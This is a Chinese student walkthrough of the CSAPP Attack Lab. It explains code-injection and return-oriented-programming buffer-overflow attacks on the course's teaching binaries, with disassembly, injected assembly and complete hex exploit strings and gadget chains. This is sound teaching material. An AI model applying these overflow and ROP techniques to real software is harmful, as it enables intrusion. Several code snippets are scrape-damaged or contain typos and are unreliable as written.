CSAPP-3-attacklab
1.attack lab 引言
参考:
目的:理解缓冲区溢出错误
文件解析:
ctarget
一个易受到code-injection攻击的可执行程序rtarget
一个人易受到return-oriented-programming攻击的可执行程序cookie
一个8位的十六进制编码,唯一标识符用于身份验证farm
目标gadget-farm的源代码,产生return-oriented programming的时候会用到hex2raw
一个生成攻击字符串的程序
函数运行:
- 当运行
./ctarget
报错Running on an illegal host [DESKTOP-7HBMUNV]
- 则需要运行
./ctarget -q
不参与在线评分系统
实验阶段:
2.code-injection-attacks
利用字符串攻击ctarget
2.1 lever 1
不需要注入新代码,输入字符串需要指引程序去执行一个已经存在的函数。
ctarget中函数test调用了 getbuf,test的函数如下:
1
2
3
4
5void test() {
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}getbuf执行返回语句时(第五行),按照规则,程序会继续执行test函数中的语句,而我们想要改变这个行为,touch1代码如下
1
2
3
4
5
6void touch1(){
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}任务让ctarget在getbuf执行返回语句后执行touch1的代码,注意:攻击字符串可以破坏栈中不直接和本阶段相关的部分,这不会造成问题,因为touch1会使得程序直接退出。
建议:
- 设计本阶段的攻击字符串所需的信息都从检查CTARGET的反汇编代码中获得。用objdump -d进行反汇编。
- 主要思路是找到touch1的起始地址的字节表示的位置,使得getbuf结尾处的ret指令会将控制转移到touch1。
- 注意字节顺序。
- 可能需要用GDB单步跟踪调试getbuf的最后几条指令,确保它按照你期望的方式工作。
- buf在getbuf栈帧中的位置取决于编译时常数BUFFER_SIZE的值,以及GCC使用的分配策略。你需要检查反汇编带来来确定它的位置。
思路:
对ctarget仅下反汇编。
得到test的反汇编代码:
1
2
3
4
5
6
7
8
9
10
110000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp #栈顶开辟8字节
40196c: b8 00 00 00 00 mov $0x0,%eax #eax = 0
401971: e8 32 fe ff ff callq 4017a8 <getbuf> #调用getbuf
401976: 89 c2 mov %eax,%edx #edx = eax
401978: be 88 31 40 00 mov $0x403188,%esi #
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 retqgetbuf的反汇编代码:
1
2
3
4
5
6
700000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp #0x28 = 40 开辟了40字节的栈空间
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq以及touch1的反汇编代码:
1
2
3
4
5
6
7
8
9
10
1100000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>test 栈顶开辟了0x8 8个字节地址空间,getbuf栈顶开辟了0x28 40个字节地址空间,所以此时的栈顶结构如下:
栈 说明 test 返回地址 ret %rsp + 40 getbuf %rsp 栈顶 要让 getbuf 返回后执行touch1 的代码。也就是返回地址应该改为touch1的值(0x4017c0)
所以可以让输入占满 getbuf 开辟的0x28占空间,并在在字符串中写入touch1的地址值。注意地址输入的顺序是小端
2.2 level 2
touch2的代码如下:
1
2
3
4
5
6
7
8
9
10
11void touch2(unsigned val){
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}必须使得ctarget执行touch2的代码而不是返回test函数,必须要让touch2 以为收到的参数是你的
cookie(0x59b997fa)
。
建议:
- 需要确定注入代码的地址的字节表示位置,能够使得getbuf代码最后ret指令能够转移到那里
- 函数的第一个参数是放在寄存器%rdi中
- 注入的代码必须将寄存器的值设定你的cookie,然后利用ret指令将控制转移到touch2的第一条指令
- 不要在攻击代码中使用 jmp 或 call 命令,这些指令编码的地址很难确定,所以的控制转移都要使用ret指令,即使实际上你并不是要从一个函数调用返回
思路:
touch2 的汇编代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
2200000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp #8个字节
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 callq 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 callq 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>touch2
函数的地址位0x4017ec
。不仅仅需要修改返回地址调用
touch2
函数,而已还要把cookie
作为参数传递进去,题目不建议使用jmp
和call
指令进行跳转,所以只能通过在栈中保存目标代码的地址,然后以ret
的形式进行跳转。ret
指令:- x86-64用%rip表示程序计数器,它时刻指向下一条要执行的指令在内存中的地址
- 于是
ret
指令就相当于pop %rip
把栈中存放的地址弹出作为下一条指令的地址 - 所以可以利用
push
和ret
就能实现指令的转移
做法如下:
- 首先输入字符串把
caller
的栈中的存储的返回地址修改为注入代码存放的地址 - 注入代码:
- 查看
cookie
的值,将第一个参数寄存器修改为该值 - 在栈中压入
touch2
的地址 - ret指令调用返回值即是
touch2
- 查看
- 注入代码的地址,注入代码应该存放在
getbuf
分配的0x28
大小的栈中,地址为getbuf
栈顶。
- 首先输入字符串把
注入代码为
1
2
3movq $0x59b997fa %rdi #将cookie的值传入 rdi中
pushq &0x4017ec #touch2函数的地址
ret接下来利用gdb获取getbuf 的栈顶位置,
b getbuf()
在getbuf函数打上断点r -q
执行程序stepi
单步进入函数内部 一遍获取 rsp的值p/x $rsp
按照16进制print出 $rsp的值- 所以
%rsp
中存放的值是0x5561dc78
也就是下一个程序执行的地址 应该是我们要修改的返回地址
逻辑:
getbuf
执行完ret
后,弹出注入代码的地址- 程序执行注入代码,再次执行
ret
弹出touch2
函数的代码
实现:
- 将汇编代码写在c2.s文件中,然后进行编译,使用
gcc -c c2.s
和objdump -d c2.o > c2.d
得到字节级的表示 - 将字节放到40个字节的开头,然后代码地址放在溢出的部分,那么
getbuf
读取字符串的时候会溢出,此时栈顶rsp
存放的地址是0x5561dc78
,并且栈已经被注入代码覆盖,然后ret
到代码地址,运行注入代码,写入cookie
和touch2
的地址。
2.3 level 3
同样是注入攻击,但是是传递字符串作为参数
hexmatch
代码:
1 | /* Compare string to hex represention of unsigned value */ |
touch3
代码:
1 | void touch3(char *sval) |
目的是让ctarget
执行touch3
而不是返回test
建议:
- 攻击字符串中要包含
cookie
的字符串,这个字符串由8个16进制数字组成顺序由高位到地位,开头没有0x - 字符串在c语言中表示为字节序列,后跟值0的字节
- 注入代码应该将寄存器%rdi设置为攻击字符串的地址
- 调用
hexmatch和strncmp
函数的时候,会将数据压入栈中,覆盖getbuf使用的缓冲区的内存,需要将cookie字符串放置在合适的地方
思路:
- 本题与
phase2
类似,区别是本题传入的是字符串,切需要将cookie
字符串放置在合适的位置 char *s = cbuf + random() % 100; //s是随机的
hexmatch中这一行代码表面 s是随机的,再然后根据建议4,所以如果跟phase2
一样注入getbuf
函数的栈中的话,可能会被被覆盖,所以不能将字符串放在getbuf的
栈中,所以可以放置在test
的栈中。- 其余思路跟phase2差不多
实现:
test的反汇编代码:
1
2
3
4
5
6
7
8
9
10
110000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp #栈顶开辟8字节
40196c: b8 00 00 00 00 mov $0x0,%eax #eax = 0
401971: e8 32 fe ff ff callq 4017a8 <getbuf> #调用getbuf
401976: 89 c2 mov %eax,%edx #edx = eax
401978: be 88 31 40 00 mov $0x403188,%esi #
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3touch3的反汇编代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
2700000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 38 31 40 00 mov $0x403138,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 52 03 00 00 callq 401c8d <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 60 31 40 00 mov $0x403160,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 f1 03 00 00 callq 401d4f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff callq 400e40 <exit@plt>使用gdb调试 获取test栈指针的地址
0x5561dca8
这个地址就是我们cookie
字符串需要存放的地址,也是调用touch3
应该传入的参数,由touch3 的地址为0x4018fa
b $0x401968
设置断点r -q
运行stepi
单步执行进入函数p/x $rsp
打印栈指针的值
注入代码为:
1
2
3movq $0x5561dca8, %rdi #从0x5561dca8 加载字符串到rdi中
pushq $0x4018fa #传入touch3 的地址
ret同上操作得到字节级返回:
所以phase3的栈帧应该是如下:来自【精选】CSAPP-Lab03 Attack Lab 详细解析-CSDN博客 THX!!!
将cookie = 59b997fa 按照ascii 转成字符串 为
35 39 62 39 39 37 66 61
逻辑:
- getbuf 执行ret, 从栈中弹出地址0x5561dc78,跳转到注入代码
- 代码执行,将存在地址为0x5561dca8的字符串传入参数寄存器%rdi
- 将touch3的地址压入栈
- 执行ret 从栈中弹出touch3 函数的地址。
所以注入最终字符串为:
因为在
text
栈帧中多用了一个字节存放cookie
,所以最后8个字节
用来存放cookie
的字符串
3.return-oriented programming
说明:对rtarget 进行攻击比ctarget要困难许多
- rtarget使用了随机化,使得每次运行时栈堆的位置都不同。
- 将保存栈的内存区域设置为不可执行,所以即使将攻击代码放入了程序计数器中,也会不可以执行
ROP:面向返回的程序设计,就是在已经存在的程序中找到特定的以ret
结尾的指令序列为我们所用,称这样的代码段为gadget
,把要用到的部分的地址压入栈中,每次ret后取出一个新的gadget
,所以就可以形成一个程序连,实现攻击。——拼凑代码
3.1 level 2
phase 4
将重复phase 2
阶段的攻击(修改返回地址 调用touch2),不同的是要使用gadget farm
里的gadget
来攻击rtarget
程序,你的答案只使用如下指令类型的gadget
。也只能使用前八个寄存器%rax - %rdi
- movq:代码figure 3A
- popq:见figure 3B
- ret:0xc3 单字节编码
- nop:0x90单字节编码,
建议:
- 所有的gadgets都可在rtarget代码的start-farm 到mid -farm中找到
- 只可以使用两个gadgets来实现这次攻击
- 如果一个gadget使用了popq指令,那么它会从栈中弹出数据。这样一来,你的攻击代码能既包含gadget的地址也包含数据。
思路:
phase 2 注入的代码:
1
2
3movq $0x59b997fa %rdi #将cookie的值传入 rdi中
pushq &0x4017ec #touch2函数的地址
ret很难从程序中获得带有特定立即数(
$0x59b997fa
)的gadget代码。—–联想到建议第三点如果一个gadget 使用了pop命令,那么它会从栈中弹出数据,这样一来你的攻击代码技能包含gadget的地址也包含数据对 rtarget 执行反汇编
objdump -d rtarget > rtarget.s
得到.s文件根据上面的思路,理论上只需要将cookie 赋值给 参数寄存器%rdi,然后再将ret设置为touch2的地址
1
2pop %rdi
ret在
rtarget.s
中start_farm到 end_farm这一段搜索是否存在pop %rdi----用5f表示
——-没有这个gadget所以再根据题目提示的,可以用两条gadget组合,那么可以得到如下代码
1
2
3
4
5
6#cookie 数据 gadget1
pop %rax
ret #ret gadget2
#gadget2 rax移动到 rdi
movq %rax, %rdi
ret # touch2查表
popq %rax
的编码表示为58
,movq %rax, %rdi
的编码表示为48 89 c7
在farm搜索这几个编码 存在58
1
2
3
4
5
6
700000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
-----
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq所以可以得到
58
的指令地址为0x4019ab
,48 89 c7
的指令地址为0x4019a2
,cookie(0x59b997fa)
,touch2(4017ec)
所以可以得到test输入的字符串为以下:
1
2
3
4
5
6
7
8
900 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 #补齐40个字节
ab 19 40 00 00 00 00 00 # pop %rax的指令 58
fa 97 b9 59 00 00 00 00 # cookie的值 59b997fa
a2 19 40 00 00 00 00 00 # movq %rax,rdi的指令
ec 17 40 00 00 00 00 00 # touch2的地址
逻辑:
- 栈帧:
- 首先将
getbuf
开辟的40个字节的栈填满溢出, - 然后
getbuf
返回后会执行gadget1
函数,会将cookie
的值弹出,并存入%rax
中 - 然后
ret
执行gadget2
会将%rax
转移到%rdi
- 然后
ret
到touch2
的地址,调用touch2
函数
3.2 level 3
phase 5
将实现phase 3
调用touch3函数,传入的是cookie的字符串。
可以使用 farm
中的所有代码。
建议
- 需要关注
movl
指令对寄存器高4
字节的影响 - 官方解法需要
8
个gadgets
phase3
注入的代码为:
1 | movq $0x5561dca8, %rdi #从0x5561dca8是栈中存放cookie的地址 加载字符串到rdi中 |
rtarget中 栈的位置是随机的 所以没有办法使用绝对地址直接找到cookie存放在栈中的地址,因此可以采用偏移量计算的方式,用相对地址访问。
计算相对地址可以使用%rsp寄存器 %rsp—-栈指针寄存器 指向栈顶,然后加上偏移量就可以获得存放 cookie的地址
进行地址偏移计算需要用到 lea(load effective address)取有效地址,即取偏移地址,在farm中搜索得到:
这一行是计算
%rdi+%rsi
,并将结果放在%rax
中,同上phase4,需要将%rax
中存放的数据传入到%rdi
中,所以需要:mov %rax, %rdi
调用函数。由于操作数寄存器为
%rdi
和%rsi
,需要将栈顶取出放入到%rdi
中,将偏移量取出放入到%rsi(%esi)
中获取栈指针位置:
movq %rsp,%rdi
但farm每一满足条件的字节码,所以可以多次移动:movq %rsp ,%rax
—–movq %rax,%rdi
地址偏移量是我们自己手动输入,需要:
popq %rax
将其取出放入到%rax
寄存器然后将
%rax(%eax)
放入到%rsi(%esi)
中,farm没有直接指令:mov %eax,%esi,
因此需要两条指令,也没有,三条:mov %eax,%ecx
—-mov %ecx,%edx
—–mov %edx,%esi
因此 全部需要的指令如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21#栈指针 存入rdi
movq %rsp, %rax
ret
movq %rax, %rdi
ret
#传入偏移地址
popq %rax
ret
movl %eax, %edx
ret
movl %edx, %ecx
ret
movl %ecx, %esi
ret
#计算cookie的地址,栈指针+偏移地址,存入rax
lea (%rdi, %rsi, 1), %rax
ret
movq %rax, %rdi
ret0x48
:getbuf之后ret 相当于执行了一次pop操作,所以test的栈指针%rsp = %rsp + 0x8.所以cookie相对此hi栈顶的偏移量是0x48 —-cookie前面指令有9条 9*8=0x48所以序列为:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ad 1a 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 cc 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 dd 19 40 00 00 00 00 00 70 1a 40 00 00 00 00 00 13 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61